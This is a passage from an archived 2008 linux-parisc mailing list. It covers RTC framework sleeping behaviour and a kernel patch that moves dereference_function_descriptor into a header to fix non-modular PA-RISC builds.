> IMO if it doesn't make 2.6.27, it should merge for 2.6.28 early-ish.
>=20
> =20
> > > Its current status is: stuck in -mm. =A0I've sent it to Thomas a =
couple
> > > of times marked "for 2.6.27?" and he might have applied it now (I=
'm a
> > > few days behind, waiting for linux-next to start up again).
> >=20
> > This is something that you can attempt (again) to address next week=
 along
> > with other process issues...
>=20
> I don't think anyone in particular has been _pushing_ to resolve thes=
e
> NTP related issues ... lack of urgency.  Maybe it's fair to think of
> that as a process issue.  If DaveM wants SPARC64 to completely remove
> its legacy RTC support for some release (which?) then:  (a) great! an=
d
> (b) that should be sufficient urgency.

Well, firstly my RTC sparc work is 2.6.28 targetted.

Secondly, that sleeping capability is only really needed for I2C based
RTC chips, of which sparc isn't currently making any use of.

PowerPC folks do, however, use I2C based RTC chips right now I thought?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Brownell <david-b@pacbell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Wed, 10 Sep 2008 14:36:25 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <200809101436.26162.david-b@pacbell.net>
References: <20080910140417.bc35c199.akpm@linux-foundation.org> <200809101419.05499.david-b@pacbell.net> <20080910.142047.265458325.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1221082607 2193 80.91.229.12 (10 Sep 2008 21:36:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Sep 2008 21:36:47 +0000 (UTC)
Cc: rdunlap@xenotime.net, akpm@linux-foundation.org,
	James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, alessandro.zummo@towertech.it,
	tglx@linutronix.de
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 10 23:37:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdXNT-0002HF-UY
	for glpp-linux-parisc@gmane.org; Wed, 10 Sep 2008 23:37:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752926AbYIJVg3 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Sep 2008 17:36:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752873AbYIJVg3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Sep 2008 17:36:29 -0400
Original-Received: from smtp124.sbc.mail.sp1.yahoo.com ([69.147.64.97]:33395 "HELO
	smtp124.sbc.mail.sp1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1751232AbYIJVg2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Sep 2008 17:36:28 -0400
Original-Received: (qmail 67297 invoked from network); 10 Sep 2008 21:36:28 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=pacbell.net;
  h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:Cc:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id;
  b=qgvbciIy4rntWkxBdF84X8f025liTzcPxiVpjPWQiN/U8nSZKJ/BUoWUGSIIqMaQr+3LdieN3UwjT2XrWBLjn4L235eVW71k9tIwSoGC8SJsY0c+EVUIDboSWocaK7lQd8w+QtAYKhZJrB+5T8ripv+d+7N2599SjxLwcmZpFfk=  ;
Original-Received: from unknown (HELO pogo.local) (david-b@pacbell.net@69.226.231.171 with plain)
  by smtp124.sbc.mail.sp1.yahoo.com with SMTP; 10 Sep 2008 21:36:27 -0000
X-YMail-OSG: 1c4YzfcVM1kwnRJqwKl13q0C.HXi3PwbReocY.92r8uTnK2jg5Yw2GTcDwh6fkBMeBNgezUYT.PJQyzSy.iB0Vb5Y8UJqkoRW_lr0rUYUQ--
X-Yahoo-Newman-Property: ymail-3
User-Agent: KMail/1.9.9
In-Reply-To: <20080910.142047.265458325.davem@davemloft.net>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:782 gmane.linux.kernel:732178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/782>

On Wednesday 10 September 2008, David Miller wrote:
> >=20
> > I don't think anyone in particular has been _pushing_ to resolve th=
ese
> > NTP related issues ... lack of urgency. =A0Maybe it's fair to think=
 of
> > that as a process issue. =A0If DaveM wants SPARC64 to completely re=
move
> > its legacy RTC support for some release (which?) then: =A0(a) great=
! and
> > (b) that should be sufficient urgency.
>=20
> Well, firstly my RTC sparc work is 2.6.28 targetted.

=46ine; Andrew and Thomas won't need to worry about this patch
for now, then.


> Secondly, that sleeping capability is only really needed for I2C base=
d
> RTC chips, of which sparc isn't currently making any use of.

Not quite right.  The RTC calls you make grabs a mutex; *ALL* calls
into the framework are made in task context.  Even if the underlying
RTC happens to be the type with registers on the CPU bus, where
there's no need to sleep when reading values.

Of course, you're very unlikely to sleep while waiting for that
mutex; or even while holding it, if you stick to Sun hardware.
Someone running Linux on one of the FPGA-based SPARCs might well
use an I2C based RTC though.

- Dave
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Wed, 10 Sep 2008 14:40:00 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <20080910.144000.111159506.davem@davemloft.net>
References: <200809101419.05499.david-b@pacbell.net>
	<20080910.142047.265458325.davem@davemloft.net>
	<200809101436.26162.david-b@pacbell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1221082820 3040 80.91.229.12 (10 Sep 2008 21:40:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Sep 2008 21:40:20 +0000 (UTC)
Cc: rdunlap@xenotime.net, akpm@linux-foundation.org,
	James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, alessandro.zummo@towertech.it,
	tglx@linutronix.de
To: david-b@pacbell.net
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 10 23:41:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdXR0-0003kr-Tf
	for glpp-linux-parisc@gmane.org; Wed, 10 Sep 2008 23:41:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752957AbYIJVkI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Sep 2008 17:40:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753122AbYIJVkH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Sep 2008 17:40:07 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:39276
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1752957AbYIJVkG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Sep 2008 17:40:06 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 37062C8C186;
	Wed, 10 Sep 2008 14:40:00 -0700 (PDT)
In-Reply-To: <200809101436.26162.david-b@pacbell.net>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:783 gmane.linux.kernel:732180
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/783>

From: David Brownell <david-b@pacbell.net>
Date: Wed, 10 Sep 2008 14:36:25 -0700

> Of course, you're very unlikely to sleep while waiting for that
> mutex; or even while holding it, if you stick to Sun hardware.
> Someone running Linux on one of the FPGA-based SPARCs might well
> use an I2C based RTC though.

There are at least one or two sparc workstations and/or servers that
use an I2C based RTC, I just haven't written the driver yet :)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix compile failure with non-modular builds
Date: Thu, 11 Sep 2008 10:56:15 -0500
Lines: 84
Approved: news@gmane.org
Message-ID: <1221148575.3330.4.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1221148604 25782 80.91.229.12 (11 Sep 2008 15:56:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Sep 2008 15:56:44 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 11 17:57:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdoXq-0003AS-0n
	for glpp-linux-parisc@gmane.org; Thu, 11 Sep 2008 17:57:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752304AbYIKP4T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Sep 2008 11:56:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752423AbYIKP4T
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 11 Sep 2008 11:56:19 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:47234 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752304AbYIKP4S (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Sep 2008 11:56:18 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 9AD7C839B
	for <linux-parisc@vger.kernel.org>; Thu, 11 Sep 2008 10:56:17 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Ns9O7gQiIYPR for <linux-parisc@vger.kernel.org>;
	Thu, 11 Sep 2008 10:56:16 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 4DD84815D
	for <linux-parisc@vger.kernel.org>; Thu, 11 Sep 2008 10:56:16 -0500 (CDT)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:784
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/784>

commit deac93df26b20cf8438339b5935b5f5643bc30c9
Author: James Bottomley <James.Bottomley@HansenPartnership.com>
Date:   Wed Sep 3 20:43:36 2008 -0500

    lib: Correct printk %pF to work on all architectures

Broke the non modular builds by moving an essential function into
modules.c.  Fix this by moving it out again and into asm/sections.h as
an inline.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 arch/parisc/kernel/module.c   |   14 --------------
 include/asm-parisc/sections.h |   13 +++++++++++--
 2 files changed, 11 insertions(+), 16 deletions(-)

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 44138c3..fdacdd4 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -47,9 +47,7 @@
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/bug.h>
-#include <linux/uaccess.h>
 
-#include <asm/sections.h>
 #include <asm/unwind.h>
 
 #if 0
@@ -862,15 +860,3 @@ void module_arch_cleanup(struct module *mod)
 	deregister_unwind_table(mod);
 	module_bug_cleanup(mod);
 }
-
-#ifdef CONFIG_64BIT
-void *dereference_function_descriptor(void *ptr)
-{
-	Elf64_Fdesc *desc = ptr;
-	void *p;
-
-	if (!probe_kernel_address(&desc->addr, p))
-		ptr = p;
-	return ptr;
-}
-#endif
diff --git a/include/asm-parisc/sections.h b/include/asm-parisc/sections.h
index 9d13c35..b08f9f8 100644
--- a/include/asm-parisc/sections.h
+++ b/include/asm-parisc/sections.h
@@ -1,12 +1,21 @@
 #ifndef _PARISC_SECTIONS_H
 #define _PARISC_SECTIONS_H
 
-/* nothing to see, move along */
+#include <linux/elf.h>
+#include <linux/uaccess.h>
 #include <asm-generic/sections.h>
 
 #ifdef CONFIG_64BIT
 #undef dereference_function_descriptor
-void *dereference_function_descriptor(void *);
+static inline void *dereference_function_descriptor(void *ptr)
+{
+	Elf64_Fdesc *desc = ptr;
+	void *p;
+
+	if (!probe_kernel_address(&desc->addr, p))
+		ptr = p;
+	return ptr;
+}
 #endif
 
 #endif
-- 
1.5.6.5



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix compile failure with non-modular builds
Date: Thu, 11 Sep 2008 12:01:01 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20080911160101.GA31713@phobos.i.cabal.ca>
References: <1221148575.3330.4.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1221148906 27106 80.91.229.12 (11 Sep 2008 16:01:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Sep 2008 16:01:46 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 11 18:02:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdocS-0004xB-1D
	for glpp-linux-parisc@gmane.org; Thu, 11 Sep 2008 18:02:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754261AbYIKQBE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Sep 2008 12:01:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754171AbYIKQBE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 11 Sep 2008 12:01:04 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:59944 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753912AbYIKQBC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Sep 2008 12:01:02 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 5322817806E; Thu, 11 Sep 2008 12:01:01 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1221148575.3330.4.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:785
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/785>

On Thu, Sep 11, 2008 at 10:56:15AM -0500, James Bottomley wrote:
> commit deac93df26b20cf8438339b5935b5f5643bc30c9
> Author: James Bottomley <James.Bottomley@HansenPartnership.com>
> Date:   Wed Sep 3 20:43:36 2008 -0500
> 
>     lib: Correct printk %pF to work on all architectures
> 
> Broke the non modular builds by moving an essential function into
> modules.c.  Fix this by moving it out again and into asm/sections.h as
> an inline.
> 
> Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

Ack. Want to just fire it off to the big penguin, or should I submit it
with the unwind fix in the meantime?

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix compile failure with non-modular builds
Date: Thu, 11 Sep 2008 11:02:34 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <1221148954.3330.6.camel@localhost.localdomain>
References: <1221148575.3330.4.camel@localhost.localdomain>
	 <20080911160101.GA31713@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1221148996 27526 80.91.229.12 (11 Sep 2008 16:03:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Sep 2008 16:03:16 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 11 18:04:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdoeF-0005ci-2r
	for glpp-linux-parisc@gmane.org; Thu, 11 Sep 2008 18:03:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752771AbYIKQCh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Sep 2008 12:02:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753163AbYIKQCh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 11 Sep 2008 12:02:37 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:59404 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752771AbYIKQCh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Sep 2008 12:02:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 29DF6839E;
	Thu, 11 Sep 2008 11:02:36 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4K3I8nz5E-Zz; Thu, 11 Sep 2008 11:02:34 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id C3149839B;
	Thu, 11 Sep 2008 11:02:34 -0500 (CDT)
In-Reply-To: <20080911160101.GA31713@phobos.i.cabal.ca>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:786
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/786>

On Thu, 2008-09-11 at 12:01 -0400, Kyle McMartin wrote:
> On Thu, Sep 11, 2008 at 10:56:15AM -0500, James Bottomley wrote:
> > commit deac93df26b20cf8438339b5935b5f5643bc30c9
> > Author: James Bottomley <James.Bottomley@HansenPartnership.com>
> > Date:   Wed Sep 3 20:43:36 2008 -0500
> > 
> >     lib: Correct printk %pF to work on all architectures
> > 
> > Broke the non modular builds by moving an essential function into
> > modules.c.  Fix this by moving it out again and into asm/sections.h as
> > an inline.
> > 
> > Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
> 
> Ack. Want to just fire it off to the big penguin, or should I submit it
> with the unwind fix in the meantime?

We have this, that and the RTC fix ... I'd say that's enough to maintain
a tree.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix compile failure with non-modular builds
Date: Thu, 11 Sep 2008 12:06:31 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20080911160631.GB31713@phobos.i.cabal.ca>
References: <1221148575.3330.4.camel@localhost.localdomain> <20080911160101.GA31713@phobos.i.cabal.ca> <1221148954.3330.6.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1221149222 28401 80.91.229.12 (11 Sep 2008 16:07:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Sep 2008 16:07:02 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 11 18:07:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kdoho-0006iJ-5e
	for glpp-linux-parisc@gmane.org; Thu, 11 Sep 2008 18:07:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756123AbYIKQGd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Sep 2008 12:06:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752498AbYIKQGd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 11 Sep 2008 12:06:33 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:51865 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756123AbYIKQGb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Sep 2008 12:06:31 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 2EC63178060; Thu, 11 Sep 2008 12:06:31 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1221148954.3330.6.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:787
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/787>

On Thu, Sep 11, 2008 at 11:02:34AM -0500, James Bottomley wrote:
> On Thu, 2008-09-11 at 12:01 -0400, Kyle McMartin wrote:
> > On Thu, Sep 11, 2008 at 10:56:15AM -0500, James Bottomley wrote:
> > > commit deac93df26b20cf8438339b5935b5f5643bc30c9
> > > Author: James Bottomley <James.Bottomley@HansenPartnership.com>
> > > Date:   Wed Sep 3 20:43:36 2008 -0500
> > > 
> > >     lib: Correct printk %pF to work on all architectures
> > > 
> > > Broke the non modular builds by moving an essential function into
> > > modules.c.  Fix this by moving it out again and into asm/sections.h as
> > > an inline.
> > > 
> > > Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
> > 
> > Ack. Want to just fire it off to the big penguin, or should I submit it
> > with the unwind fix in the meantime?
> 
> We have this, that and the RTC fix ... I'd say that's enough to maintain
> a tree.
> 

Yeah, I cherrypicked from the parisc-2.6 branch for 2.6.27 (crap,
haven't pushed the tree out, my bad.) I didn't want to 'rename' the tree
since sfr is using "parisc-2.6" to mean "parisc-next-2.6" right now.

I'll push out a parisc-2.6.27.git tree later today.

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: linux-next: manual merge of the parisc tree
Date: Fri, 12 Sep 2008 06:07:49 +1000
Lines: 32
Approved: news@gmane.org
Message-ID: <20080912060749.9abe535b.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Fri__12_Sep_2008_06_07_49_+1000_3RrOVX4RS7D8e07p"
X-Trace: ger.gmane.org 1221163706 18509 80.91.229.12 (11 Sep 2008 20:08:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Sep 2008 20:08:26 +0000 (UTC)
Cc: linux-next@vger.kernel.org, Adrian Bunk <bunk@kernel.org>,
	David Woodhouse <dwmw2@infradead.org>
To: Kyle McMartin <kyle@mcmartin.ca>, <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Thu Sep 11 22:09:17 2008
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdsTW-0004ye-EZ
	for glkn-linux-next@gmane.org; Thu, 11 Sep 2008 22:09:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752698AbYIKUIG (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Thu, 11 Sep 2008 16:08:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751986AbYIKUIG
	(ORCPT <rfc822;linux-next-outgoing>);
	Thu, 11 Sep 2008 16:08:06 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:41958 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751676AbYIKUIF (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Thu, 11 Sep 2008 16:08:05 -0400
Original-Received: from ash.ozlabs.ibm.com (unknown [12.180.208.176])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id A2C4136800B;
	Fri, 12 Sep 2008 06:07:59 +1000 (EST)
X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.11; i486-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:2867 gmane.linux.ports.parisc:788
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/788>

